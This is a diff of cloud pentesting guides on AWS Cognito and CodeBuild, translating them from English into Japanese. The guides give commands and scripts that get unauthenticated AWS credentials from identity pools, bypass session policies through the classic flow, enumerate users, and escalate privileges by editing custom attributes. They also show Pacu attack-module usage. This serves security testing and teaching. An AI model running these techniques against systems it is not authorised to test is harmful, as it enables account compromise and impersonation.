repo creds (such as github tokens) ## It doesn't return the token but just the ARN where it's located @@ -48,10 +47,9 @@ aws codebuild list-build-batches-for-project --project-name aws codebuild list-reports aws codebuild describe-test-cases --report-arn ``` - ### Privesc -In the following page, you can check how to **abuse codebuild permissions to escalate privileges**: +次のページでは、**codebuildの権限を悪用して特権を昇格させる方法**を確認できます： {{#ref}} ../aws-privilege-escalation/aws-codebuild-privesc.md @@ -74,7 +72,3 @@ In the following page, you can check how to **abuse codebuild permissions to esc - [https://docs.aws.amazon.com/managedservices/latest/userguide/code-build.html](https://docs.aws.amazon.com/managedservices/latest/userguide/code-build.html) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/README.md b/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/README.md index c870c1791..a570d32ef 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/README.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/README.md @@ -4,31 +4,30 @@ ## Cognito -Amazon Cognito is utilized for **authentication, authorization, and user management** in web and mobile applications. It allows users the flexibility to sign in either directly using a **user name and password** or indirectly through a **third party**, including Facebook, Amazon, Google, or Apple. +Amazon Cognitoは、ウェブおよびモバイルアプリケーションにおける**認証、承認、およびユーザー管理**に利用されます。ユーザーは、**ユーザー名とパスワード**を直接使用してサインインするか、Facebook、Amazon、Google、またはAppleなどの**第三者**を通じて間接的にサインインする柔軟性があります。 -Central to Amazon Cognito are two primary components: +Amazon Cognitoの中心には、2つの主要なコンポーネントがあります： -1. **User Pools**: These are directories designed for your app users, offering **sign-up and sign-in functionalities**. -2. **Identity Pools**: These pools are instrumental in **authorizing users to access different AWS services**. They are not directly involved in the sign-in or sign-up process but are crucial for resource access post-authentication. +1. **ユーザープール**：これらはアプリのユーザー向けに設計されたディレクトリで、**サインアップおよびサインイン機能**を提供します。 +2. **アイデンティティプール**：これらのプールは、**異なるAWSサービスへのユーザーアクセスを承認する**のに重要です。サインインやサインアッププロセスには直接関与しませんが、認証後のリソースアクセスには重要です。 -### **User pools** +### **ユーザープール** -To learn what is a **Cognito User Pool check**: +**Cognitoユーザープールチェック**について学ぶには： {{#ref}} cognito-user-pools.md {{#endref}} -### **Identity pools** +### **アイデンティティプール** -The learn what is a **Cognito Identity Pool check**: +**Cognitoアイデンティティプールチェック**について学ぶには： {{#ref}} cognito-identity-pools.md {{#endref}} -## Enumeration - +## 列挙 ```bash # List Identity Pools aws cognito-identity list-identity-pools --max-results 60 @@ -72,35 +71,30 @@ aws cognito-idp get-user-pool-mfa-config --user-pool-id ## Get risk configuration aws cognito-idp describe-risk-configuration --user-pool-id ``` +### アイデンティティプール - 認証されていない列挙 -### Identity Pools - Unauthenticated Enumeration +単に**アイデンティティプールID**を知っているだけで、**認証されていない**ユーザーに関連付けられた**ロールの資格情報を取得できる**かもしれません（もしあれば）。 [**ここで確認してください**](cognito-identity-pools.md#accessing-iam-roles)。 -Just **knowing the Identity Pool ID** you might be able **get credentials of the role associated to unauthenticated** users (if any). [**Check how here**](cognito-identity-pools.md#accessing-iam-roles). +### ユーザープール - 認証されていない列挙 -### User Pools - Unauthenticated Enumeration +Cognito内で**有効なユーザー名**を知らなくても、**有効な**ユーザー名を**列挙**したり、**パスワード**を**ブルートフォース**したり、**アプリクライアントID**を知っているだけで**新しいユーザーを登録**できるかもしれません（通常はソースコードに見つかります）。 [**ここで確認してください**](cognito-user-pools.md#registration)**。** -Even if you **don't know a valid username** inside Cognito, you might be able to **enumerate** valid **usernames**, **BF** the **passwords** of even **register a new user** just **knowing the App client ID** (which is usually found in source code). [**Check how here**](cognito-user-pools.md#registration)**.** - -## Privesc +## 権限昇格 {{#ref}} ../../aws-privilege-escalation/aws-cognito-privesc.md {{#endref}} -## Unauthenticated Access +## 認証されていないアクセス {{#ref}} ../../aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum.md {{#endref}} -## Persistence +## 永続性 {{#ref}} ../../aws-persistence/aws-cognito-persistence.md {{#endref}} {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-identity-pools.md b/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-identity-pools.md index 024c7ea91..bf1709991 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-identity-pools.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-identity-pools.md @@ -2,16 +2,15 @@ {{#include ../../../../banners/hacktricks-training.md}} -## Basic Information +## 基本情報 -Identity pools serve a crucial role by enabling your users to **acquire temporary credentials**. These credentials are essential for accessing various AWS services, including but not limited to Amazon S3 and DynamoDB. A notable feature of identity pools is their support for both anonymous guest users and a range of identity providers for user authentication. The supported identity providers include: - -- Amazon Cognito user pools -- Social sign-in options such as Facebook, Google, Login with Amazon, and Sign in with Apple -- Providers compliant with OpenID Connect (OIDC) -- SAML (Security Assertion Markup Language) identity providers -- Developer authenticated identities +アイデンティティプールは、ユーザーが**一時的な資格情報を取得**できるようにする重要な役割を果たします。これらの資格情報は、Amazon S3やDynamoDBを含むさまざまなAWSサービスにアクセスするために不可欠です。アイデンティティプールの注目すべき機能は、匿名のゲストユーザーとユーザー認証のためのさまざまなアイデンティティプロバイダーの両方をサポートしていることです。サポートされているアイデンティティプロバイダーには以下が含まれます： +- Amazon Cognitoユーザープール +- Facebook、Google、Login with Amazon、Sign in with Appleなどのソーシャルサインインオプション +- OpenID Connect (OIDC) に準拠したプロバイダー +- SAML (Security Assertion Markup Language) アイデンティティプロバイダー +- 開発者認証されたアイデンティティ ```python # Sample code to demonstrate how to integrate an identity provider with an identity pool can be structured as follows: import boto3 @@ -24,74 +23,64 @@ identity_pool_id = 'your-identity-pool-id' # Add an identity provider to the identity pool response = client.set_identity_pool_roles( - IdentityPoolId=identity_pool_id, - Roles={ - 'authenticated': 'arn:aws:iam::AWS_ACCOUNT_ID:role/AuthenticatedRole', - 'unauthenticated': 'arn:aws:iam::AWS_ACCOUNT_ID:role/UnauthenticatedRole', - } +IdentityPoolId=identity_pool_id, +Roles={ +'authenticated': 'arn:aws:iam::AWS_ACCOUNT_ID:role/AuthenticatedRole', +'unauthenticated': 'arn:aws:iam::AWS_ACCOUNT_ID:role/UnauthenticatedRole', +} ) # Print the response from AWS print(response) ``` - ### Cognito Sync -To generate Identity Pool sessions, you first need to **generate and Identity ID**. This Identity ID is the **identification of the session of that user**. These identifications can have up to 20 datasets that can store up to 1MB of key-value pairs. +Identity Pool セッションを生成するには、まず **Identity ID を生成する必要があります**。この Identity ID は **そのユーザーのセッションの識別子です**。これらの識別子は、最大 20 のデータセットを持ち、最大 1MB のキーと値のペアを保存できます。 -This is **useful to keep information of a user** (who will be always using the same Identity ID). +これは **ユーザーの情報を保持するのに便利です**（常に同じ Identity ID を使用するユーザー）。 -Moreover, the service **cognito-sync** is the service that allow to **manage and syncronize this information** (in the datasets, sending info in streams and SNSs msgs...). +さらに、サービス **cognito-sync** は **この情報を管理および同期することを可能にするサービスです**（データセット内で、ストリームや SNS メッセージで情報を送信するなど）。 ### Tools for pentesting -- [Pacu](https://github.com/RhinoSecurityLabs/pacu), the AWS exploitation framework, now includes the "cognito\_\_enum" and "cognito\_\_attack" modules that automate enumeration of all Cognito assets in an account and flag weak configurations, user attributes used for access control, etc., and also automate user creation (including MFA support) and privilege escalation based on modifiable custom attributes, usable identity pool credentials, assumable roles in id tokens, etc. +- [Pacu](https://github.com/RhinoSecurityLabs/pacu) は、AWS のエクスプロイトフレームワークで、現在 "cognito\_\_enum" および "cognito\_\_attack" モジュールが含まれており、アカウント内のすべての Cognito アセットの列挙を自動化し、弱い構成、アクセス制御に使用されるユーザー属性などをフラグ付けし、ユーザー作成（MFA サポートを含む）や、変更可能なカスタム属性、使用可能なアイデンティティプールの資格情報、ID トークン内の引き受け可能なロールに基づく特権昇格を自動化します。 -For a description of the modules' functions see part 2 of the [blog post](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2). For installation instructions see the main [Pacu](https://github.com/RhinoSecurityLabs/pacu) page. +モジュールの機能の説明については、[ブログ投稿](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2)のパート 2 を参照してください。インストール手順については、メインの [Pacu](https://github.com/RhinoSecurityLabs/pacu) ページを参照してください。 #### Usage -Sample cognito\_\_attack usage to attempt user creation and all privesc vectors against a given identity pool and user pool client: - +サンプル cognito\_\_attack 使用法は、特定のアイデンティティプールおよびユーザープールクライアントに対してユーザー作成とすべての特権昇格ベクターを試みるものです： ```bash Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients 59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX ``` - -Sample cognito\_\_enum usage to gather all user pools, user pool clients, identity pools, users, etc. visible in the current AWS account: - +サンプル cognito\_\_enum の使用法：現在の AWS アカウントで表示されるすべてのユーザープール、ユーザープールクライアント、アイデンティティプール、ユーザーなどを収集します。 ```bash Pacu (new:test) > run cognito__enum ``` +- [Cognito Scanner](https://github.com/padok-team/cognito-scanner) は、不要なアカウント作成やアイデンティティプールのエスカレーションを含む、Cognitoに対するさまざまな攻撃を実装したPythonのCLIツールです。 -- [Cognito Scanner](https://github.com/padok-team/cognito-scanner) is a CLI tool in python that implements different attacks on Cognito including unwanted account creation and identity pool escalation. - -#### Installation - +#### インストール ```bash $ pip install cognito-scanner ``` - -#### Usage - +#### 使用法 ```bash $ cognito-scanner --help ``` - For more information check https://github.com/padok-team/cognito-scanner -## Accessing IAM Roles +## アクセス IAM ロール -### Unauthenticated +### 認証されていない -The only thing an attacker need to know to **get AWS credentials** in a Cognito app as unauthenticated user is the **Identity Pool ID**, and this **ID must be hardcoded** in the web/mobile **application** for it to use it. An ID looks like this: `eu-west-1:098e5341-8364-038d-16de-1865e435da3b` (it's not bruteforceable). +攻撃者がCognitoアプリで**AWS資格情報**を取得するために認証されていないユーザーとして知っておくべき唯一のことは**アイデンティティプールID**であり、この**IDはウェブ/モバイル** **アプリケーション**にハードコーディングされている必要があります。IDは次のようになります: `eu-west-1:098e5341-8364-038d-16de-1865e435da3b`（ブルートフォース攻撃はできません）。 > [!TIP] -> The **IAM Cognito unathenticated role created via is called** by default `Cognito_Unauth_Role` - -If you find an Identity Pools ID hardcoded and it allows unauthenticated users, you can get AWS credentials with: +> **IAM Cognito 認証されていないロールはデフォルトで** `Cognito_Unauth_Role` と呼ばれます。 +ハードコーディングされたアイデンティティプールIDを見つけ、それが認証されていないユーザーを許可している場合、次のコマンドでAWS資格情報を取得できます: ```python import requests @@ -105,8 +94,8 @@ r = requests.post(url, json=params, headers=headers) json_resp = r.json() if not "IdentityId" in json_resp: - print(f"Not valid id: {id_pool_id}") - exit +print(f"Not valid id: {id_pool_id}") +exit IdentityId = r.json()["IdentityId"] @@ -117,23 +106,19 @@ r = requests.post(url, json=params, headers=headers) print(r.json()) ``` - -Or you could use the following **aws cli commands**: - +または、次の**aws cliコマンド**を使用できます： ```bash aws cognito-identity get-id --identity-pool-id --no-sign aws cognito-identity get-credentials-for-identity --identity-id --no-sign ``` - > [!WARNING] -> Note that by default an unauthenticated cognito **user CANNOT have any permission, even if it was assigned via a policy**. Check the followin section. +> デフォルトでは、認証されていないcognito **ユーザーは、ポリシーを介して割り当てられていても、いかなる権限も持つことができません**。次のセクションを確認してください。 -### Enhanced vs Basic Authentication flow +### 強化された認証フローと基本認証フロー -The previous section followed the **default enhanced authentication flow**. This flow sets a **restrictive** [**session policy**](../../aws-basic-information/#session-policies) to the IAM role session generated. This policy will only allow the session to [**use the services from this list**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services) (even if the role had access to other services). - -However, there is a way to bypass this, if the **Identity pool has "Basic (Classic) Flow" enabled**, the user will be able to obtain a session using that flow which **won't have that restrictive session policy**. +前のセクションでは、**デフォルトの強化された認証フロー**に従いました。このフローは、生成されたIAMロールセッションに**制限的な**[**セッションポリシー**](../../aws-basic-information/#session-policies)を設定します。このポリシーは、セッションが[**このリストのサービスを使用することをのみ許可します**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services)（ロールが他のサービスにアクセスできた場合でも）。 +ただし、これを回避する方法があります。**アイデンティティプールに「基本（クラシック）フロー」が有効になっている場合**、ユーザーはそのフローを使用してセッションを取得でき、**その制限的なセッションポリシーを持たない**ことになります。 ```bash # Get auth ID aws cognito-identity get-id --identity-pool-id --no-sign @@ -145,51 +130,46 @@ aws cognito-identity get-open-id-token --identity-id --no-sign ## If you don't know the role_arn use the previous enhanced flow to get it aws sts assume-role-with-web-identity --role-arn "arn:aws:iam:::role/" --role-session-name sessionname --web-identity-token --no-sign ``` - > [!WARNING] -> If you receive this **error**, it's because the **basic flow is not enabled (default)** +> この**エラー**が表示された場合、**基本フローが有効になっていない（デフォルト）**ためです。 > `An error occurred (InvalidParameterException) when calling the GetOpenIdToken operation: Basic (classic) flow is not enabled, please use enhanced flow.` -Having a set of IAM credentials you should check [which access you have](../../#whoami) and try to [escalate privileges](../../aws-privilege-escalation/). +IAM資格情報のセットを持っている場合は、[どのアクセス権があるかを確認し](../../#whoami)、[権限を昇格させる](../../aws-privilege-escalation/)ことを試みてください。 -### Authenticated +### 認証済み > [!NOTE] -> Remember that **authenticated users** will be probably granted **different permissions**, so if you can **sign up inside the app**, try doing that and get the new credentials. +> **認証済みユーザー**には**異なる権限**が付与される可能性があるため、アプリ内で**サインアップできる**場合は、それを試みて新しい資格情報を取得してください。 -There could also be **roles** available for **authenticated users accessing the Identity Poo**l. +**認証済みユーザーがIdentity Poolにアクセスするための** **ロール**も利用可能な場合があります。 -For this you might need to have access to the **identity provider**. If that is a **Cognito User Pool**, maybe you can abuse the default behaviour and **create a new user yourself**. +そのためには、**アイデンティティプロバイダー**へのアクセスが必要です。それが**Cognitoユーザープール**であれば、デフォルトの動作を悪用して**自分で新しいユーザーを作成できるかもしれません**。 > [!TIP] -> The **IAM Cognito athenticated role created via is called** by default `Cognito_Auth_Role` +> **IAM Cognito認証ロールはデフォルトで** `Cognito_Auth_Role` と呼ばれます。 -Anyway, the **following example** expects that you have already logged in inside a **Cognito User Pool** used to access the Identity Pool (don't forget that other types of identity providers could also be configured). +いずれにせよ、**以下の例**は、Identity Poolにアクセスするために使用される**Cognitoユーザープール**にすでにログインしていることを前提としています（他のタイプのアイデンティティプロバイダーも構成されている可能性があることを忘れないでください）。 
aws cognito-identity get-id \
-    --identity-pool-id <identity_pool_id> \
-    --logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>
+--identity-pool-id <identity_pool_id> \
+--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>
 
-# Get the identity_id from the previous commnad response
+# 前のコマンドの応答からidentity_idを取得
 aws cognito-identity get-credentials-for-identity \
-    --identity-id <identity_id> \
-    --logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>
+--identity-id <identity_id> \
+--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>
 
 
-# In the IdToken you can find roles a user has access because of User Pool Groups
-# User the --custom-role-arn to get credentials to a specific role
+# IdTokenには、ユーザープールグループによってユーザーがアクセスできるロールが含まれています
+# --custom-role-arnを使用して特定のロールの資格情報を取得します
 aws cognito-identity get-credentials-for-identity \
-    --identity-id <identity_id> \
+--identity-id <identity_id> \
     --custom-role-arn <role_arn> \
     --logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>
> [!WARNING] -> It's possible to **configure different IAM roles depending on the identity provide**r the user is being logged in or even just depending **on the user** (using claims). Therefore, if you have access to different users through the same or different providers, if might be **worth it to login and access the IAM roles of all of them**. +> ユーザーがログインしているアイデンティティプロバイダーや**ユーザー**（クレームを使用）によって、**異なるIAMロールを構成することが可能です**。したがって、同じまたは異なるプロバイダーを通じて異なるユーザーにアクセスできる場合は、**すべてのユーザーのIAMロールにログインしてアクセスする価値があるかもしれません**。 {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-user-pools.md b/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-user-pools.md index 08e06fb45..748c1540a 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-user-pools.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-user-pools.md @@ -2,32 +2,30 @@ {{#include ../../../../banners/hacktricks-training.md}} -## Basic Information +## 基本情報 -A user pool is a user directory in Amazon Cognito. With a user pool, your users can **sign in to your web or mobile app** through Amazon Cognito, **or federate** through a **third-party** identity provider (IdP). Whether your users sign in directly or through a third party, all members of the user pool have a directory profile that you can access through an SDK. +ユーザープールは、Amazon Cognitoのユーザーディレクトリです。ユーザープールを使用すると、ユーザーはAmazon Cognitoを通じて**ウェブまたはモバイルアプリにサインイン**したり、**サードパーティ**のアイデンティティプロバイダー（IdP）を通じて**フェデレーション**したりできます。ユーザーが直接サインインするか、サードパーティを通じてサインインするかにかかわらず、ユーザープールのすべてのメンバーには、SDKを通じてアクセスできるディレクトリプロファイルがあります。 -User pools provide: +ユーザープールは以下を提供します： -- Sign-up and sign-in services. -- A built-in, customizable web UI to sign in users. -- Social sign-in with Facebook, Google, Login with Amazon, and Sign in with Apple, and through SAML and OIDC identity providers from your user pool. -- User directory management and user profiles. -- Security features such as multi-factor authentication (MFA), checks for compromised credentials, account takeover protection, and phone and email verification. -- Customized workflows and user migration through AWS Lambda triggers. +- サインアップおよびサインインサービス。 +- ユーザーをサインインさせるための組み込みのカスタマイズ可能なウェブUI。 +- Facebook、Google、Amazonでのログイン、Appleでのサインイン、及びユーザープールからのSAMLおよびOIDCアイデンティティプロバイダーを使用したソーシャルサインイン。 +- ユーザーディレクトリ管理およびユーザープロファイル。 +- 多要素認証（MFA）、侵害された資格情報のチェック、アカウント乗っ取り防止、電話およびメールの確認などのセキュリティ機能。 +- AWS Lambdaトリガーを通じたカスタマイズされたワークフローおよびユーザー移行。 -**Source code** of applications will usually also contain the **user pool ID** and the **client application ID**, (and some times the **application secret**?) which are needed for a **user to login** to a Cognito User Pool. +アプリケーションの**ソースコード**には通常、**ユーザープールID**および**クライアントアプリケーションID**（および場合によっては**アプリケーションシークレット**？）が含まれており、これらは**ユーザーがCognitoユーザープールにログイン**するために必要です。 -### Potential attacks +### 潜在的な攻撃 -- **Registration**: By default a user can register himself, so he could create a user for himself. -- **User enumeration**: The registration functionality can be used to find usernames that already exists. This information can be useful for the brute-force attack. -- **Login brute-force**: In the [**Authentication**](cognito-user-pools.md#authentication) section you have all the **methods** that a user have to **login**, you could try to brute-force them **find valid credentials**. +- **登録**：デフォルトでは、ユーザーは自分自身を登録できるため、自分用のユーザーを作成できます。 +- **ユーザー列挙**：登録機能を使用して、既に存在するユーザー名を見つけることができます。この情報はブルートフォース攻撃に役立ちます。 +- **ログインブルートフォース**：[**認証**](cognito-user-pools.md#authentication)セクションには、ユーザーが**ログイン**するためのすべての**方法**が記載されており、それらをブルートフォースして**有効な資格情報を見つける**ことができます。 -### Tools for pentesting - -- [Pacu](https://github.com/RhinoSecurityLabs/pacu), now includes the `cognito__enum` and `cognito__attack` modules that automate enumeration of all Cognito assets in an account and flag weak configurations, user attributes used for access control, etc., and also automate user creation (including MFA support) and privilege escalation based on modifiable custom attributes, usable identity pool credentials, assumable roles in id tokens, etc.\ - For a description of the modules' functions see part 2 of the [blog post](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2). For installation instructions see the main [Pacu](https://github.com/RhinoSecurityLabs/pacu) page. +### ペンテスト用ツール +- [Pacu](https://github.com/RhinoSecurityLabs/pacu)は、現在`cognito__enum`および`cognito__attack`モジュールを含んでおり、アカウント内のすべてのCognito資産の列挙を自動化し、弱い構成、アクセス制御に使用されるユーザー属性などをフラグ付けし、またユーザー作成（MFAサポートを含む）および変更可能なカスタム属性に基づく特権昇格を自動化します。モジュールの機能の説明については、[ブログ投稿](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2)のパート2を参照してください。インストール手順については、メインの[Pacu](https://github.com/RhinoSecurityLabs/pacu)ページを参照してください。 ```bash # Run cognito__enum usage to gather all user pools, user pool clients, identity pools, users, etc. visible in the current AWS account Pacu (new:test) > run cognito__enum @@ -37,201 +35,169 @@ Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gma us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients 59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX ``` - -- [Cognito Scanner](https://github.com/padok-team/cognito-scanner) is a CLI tool in python that implements different attacks on Cognito including unwanted account creation and account oracle. Check [this link](https://github.com/padok-team/cognito-scanner) for more info. - +- [Cognito Scanner](https://github.com/padok-team/cognito-scanner) は、不要なアカウント作成やアカウントオラクルを含む、Cognitoに対するさまざまな攻撃を実装したPythonのCLIツールです。詳細については[このリンク](https://github.com/padok-team/cognito-scanner)を確認してください。 ```bash # Install pip install cognito-scanner # Run cognito-scanner --help ``` - -- [CognitoAttributeEnum](https://github.com/punishell/CognitoAttributeEnum): This script allows to enumerate valid attributes for users. - +- [CognitoAttributeEnum](https://github.com/punishell/CognitoAttributeEnum): このスクリプトは、ユーザーの有効な属性を列挙することを可能にします。 ```bash python cognito-attribute-enu.py -client_id 16f1g98bfuj9i0g3f8be36kkrl ``` +## 登録 -## Registration - -User Pools allows by **default** to **register new users**. - +User Poolsは**デフォルト**で**新しいユーザーを登録**することを許可します。 ```bash aws cognito-idp sign-up --client-id \ - --username --password \ - --region --no-sign-request +--username --password \ +--region --no-sign-request ``` +#### 誰でも登録できる場合 -#### If anyone can register - -You might find an error indicating you that you need to **provide more details** of abut the user: - +ユーザーについての**詳細を提供する必要がある**ことを示すエラーが表示されることがあります： ``` An error occurred (InvalidParameterException) when calling the SignUp operation: Attributes did not conform to the schema: address: The attribute is required ``` - -You can provide the needed details with a JSON such as: - +必要な詳細を次のようなJSONで提供できます: ```json --user-attributes '[{"Name": "email", "Value": "carlospolop@gmail.com"}, {"Name":"gender", "Value": "M"}, {"Name": "address", "Value": "street"}, {"Name": "custom:custom_name", "Value":"supername&\"*$"}]' ``` - -You could use this functionality also to **enumerate existing users.** This is the error message when a user already exists with that name: - +この機能を使用して**既存のユーザーを列挙する**こともできます。ユーザーがその名前で既に存在する場合のエラーメッセージは次のとおりです： ``` An error occurred (UsernameExistsException) when calling the SignUp operation: User already exists ``` - > [!NOTE] -> Note in the previous command how the **custom attributes start with "custom:"**.\ -> Also know that when registering you **cannot create for the user new custom attributes**. You can only give value to **default attributes** (even if they aren't required) and **custom attributes specified**. - -Or just to test if a client id exists. This is the error if the client-id doesn't exist: +> 前のコマンドで**カスタム属性が "custom:" で始まる**ことに注意してください。\ +> また、登録時に**ユーザーの新しいカスタム属性を作成することはできません**。**デフォルト属性**（必須でなくても）と**指定されたカスタム属性**にのみ値を与えることができます。 +また、クライアントIDが存在するかどうかをテストするためです。クライアントIDが存在しない場合のエラーは次のとおりです： ``` An error occurred (ResourceNotFoundException) when calling the SignUp operation: User pool client 3ig612gjm56p1ljls1prq2miut does not exist. ``` +#### 管理者のみがユーザーを登録できる場合 -#### If only admin can register users - -You will find this error and you own't be able to register or enumerate users: - +このエラーが表示され、ユーザーを登録したり列挙したりすることができません。 ``` An error occurred (NotAuthorizedException) when calling the SignUp operation: SignUp is not permitted for this user pool ``` +### 登録の確認 -### Verifying Registration - -Cognito allows to **verify a new user by verifying his email or phone number**. Therefore, when creating a user usually you will be required at least the username and password and the **email and/or telephone number**. Just set one **you control** so you will receive the code to **verify your** newly created user **account** like this: - +Cognitoは**新しいユーザーのメールアドレスまたは電話番号を確認することによって確認することを許可します**。したがって、ユーザーを作成する際には通常、少なくともユーザー名とパスワード、そして**メールアドレスおよび/または電話番号**が必要です。**あなたが管理する**ものを設定するだけで、次のように新しく作成したユーザー**アカウント**を**確認する**ためのコードを受け取ることができます: ```bash aws cognito-idp confirm-sign-up --client-id \ - --username aasdasd2 --confirmation-code \ - --no-sign-request --region us-east-1 +--username aasdasd2 --confirmation-code \ +--no-sign-request --region us-east-1 ``` - > [!WARNING] -> Even if **looks like you can use the same email** and phone number, when you need to verify the created user Cognito will complain about using the same info and **won't let you verify the account**. +> 同じメールアドレス**や電話番号を使用できるように見えても**、作成したユーザーを確認する必要があるとき、Cognitoは同じ情報を使用していることに文句を言い、**アカウントの確認を許可しません**。 -### Privilege Escalation / Updating Attributes - -By default a user can **modify the value of his attributes** with something like: +### 権限昇格 / 属性の更新 +デフォルトでは、ユーザーは**自分の属性の値を変更できます**。 ```bash aws cognito-idp update-user-attributes \ - --region us-east-1 --no-sign-request \ - --user-attributes Name=address,Value=street \ - --access-token +--region us-east-1 --no-sign-request \ +--user-attributes Name=address,Value=street \ +--access-token ``` - -#### Custom attribute privesc +#### カスタム属性の特権昇格 > [!CAUTION] -> You might find **custom attributes** being used (such as `isAdmin`), as by default you can **change the values of your own attributes** you might be able to **escalate privileges** changing the value yourself! +> **カスタム属性**（例えば `isAdmin`）が使用されているのを見つけるかもしれません。デフォルトでは、自分の属性の**値を変更することができる**ため、自分で値を変更することで**特権を昇格させる**ことができるかもしれません！ -#### Email/username modification privesc +#### メール/ユーザー名の変更による特権昇格 -You can use this to **modify the email and phone number** of a user, but then, even if the account remains as verified, those attributes are **set in unverified status** (you need to verify them again). +ユーザーの**メールと電話番号を変更する**ためにこれを使用できますが、その場合、アカウントが確認済みのままであっても、これらの属性は**未確認の状態に設定されます**（再度確認する必要があります）。 > [!WARNING] -> You **won't be able to login with email or phone number** until you verify them, but you will be **able to login with the username**.\ -> Note that even if the email was modified and not verified it will appear in the ID Token inside the **`email`** **field** and the filed **`email_verified`** will be **false**, but if the app **isn't checking that you might impersonate other users**. +> 確認するまで**メールまたは電話番号でログインすることはできません**が、**ユーザー名でログインすることは可能です**。\ +> メールが変更されて未確認であっても、**`email`** **フィールド**内のIDトークンに表示され、フィールド**`email_verified`**は**false**になりますが、アプリが**それを確認していなければ、他のユーザーを偽装することができるかもしれません**。 -> Moreover, note that you can put anything inside the **`name`** field just modifying the **name attribute**. If an app is **checking** **that** field for some reason **instead of the `email`** (or any other attribute) you might be able to **impersonate other users**. - -Anyway, if for some reason you changed your email for example to a new one you can access you can **confirm the email with the code you received in that email address**: +> さらに、**name属性**を変更することで、**`name`**フィールドに何でも入れることができることに注意してください。アプリが**`email`**（または他の属性）の代わりに何らかの理由でそのフィールドを**確認している**場合、**他のユーザーを偽装することができるかもしれません**。 +とにかく、何らかの理由で新しいメールに変更した場合、そのメールアドレスで受け取ったコードで**メールを確認することができます**： ```bash aws cognito-idp verify-user-attribute \ - --access-token \ - --attribute-name email --code \ - --region --no-sign-request +--access-token \ +--attribute-name email --code \ +--region --no-sign-request ``` - -Use **`phone_number`** instead of **`email`** to change/verify a **new phone number**. +**`phone_number`** を **`email`** の代わりに使用して **新しい電話番号** を変更/確認します。 > [!NOTE] -> The admin could also enable the option to **login with a user preferred username**. Note that you won't be able to change this value to **any username or preferred_username already being used** to impersonate a different user. +> 管理者は **ユーザーが好むユーザー名でログインするオプション** を有効にすることもできます。この値を **他のユーザーを偽装するために既に使用されている任意のユーザー名またはpreferred_username** に変更することはできないことに注意してください。 -### Recover/Change Password - -It's possible to recover a password just **knowing the username** (or email or phone is accepted) and having access to it as a code will be sent there: +### パスワードの回復/変更 +ユーザー名（またはメールまたは電話が受け入れられます）を知っているだけでパスワードを回復することが可能であり、そこにコードが送信されるため、アクセスが必要です。 ```bash aws cognito-idp forgot-password \ - --client-id \ - --username --region +--client-id \ +--username --region ``` - > [!NOTE] -> The response of the server is always going to be positive, like if the username existed. You cannot use this method to enumerate users - -With the code you can change the password with: +> サーバーの応答は常に肯定的であり、ユーザー名が存在するかのようになります。この方法を使用してユーザーを列挙することはできません。 +コードを使用してパスワードを変更できます: ```bash aws cognito-idp confirm-forgot-password \ - --client-id \ - --username \ - --confirmation-code \ - --password --region +--client-id \ +--username \ +--confirmation-code \ +--password --region ``` - -To change the password you need to **know the previous password**: - +パスワードを変更するには、**以前のパスワードを知っている必要があります**: ```bash aws cognito-idp change-password \ - --previous-password \ - --proposed-password \ - --access-token +--previous-password \ +--proposed-password \ +--access-token ``` +## 認証 -## Authentication +ユーザープールは、**異なる方法での認証**をサポートしています。**ユーザー名とパスワード**がある場合、ログインするための**異なる方法**もサポートされています。\ +さらに、ユーザーがプールで認証されると、**3種類のトークンが与えられます**: **IDトークン**、**アクセストークン**、および**リフレッシュトークン**です。 -A user pool supports **different ways to authenticate** to it. If you have a **username and password** there are also **different methods** supported to login.\ -Moreover, when a user is authenticated in the Pool **3 types of tokens are given**: The **ID Token**, the **Access token** and the **Refresh token**. - -- [**ID Token**](https://docs.aws.amazon.com/cognito/latest/developerguide/amazon-cognito-user-pools-using-the-id-token.html): It contains claims about the **identity of the authenticated user,** such as `name`, `email`, and `phone_number`. The ID token can also be used to **authenticate users to your resource servers or server applications**. You must **verify** the **signature** of the ID token before you can trust any claims inside the ID token if you use it in external applications. - - The ID Token is the token that **contains the attributes values of the user**, even the custom ones. -- [**Access Token**](https://docs.aws.amazon.com/cognito/latest/developerguide/amazon-cognito-user-pools-using-the-access-token.html): It contains claims about the 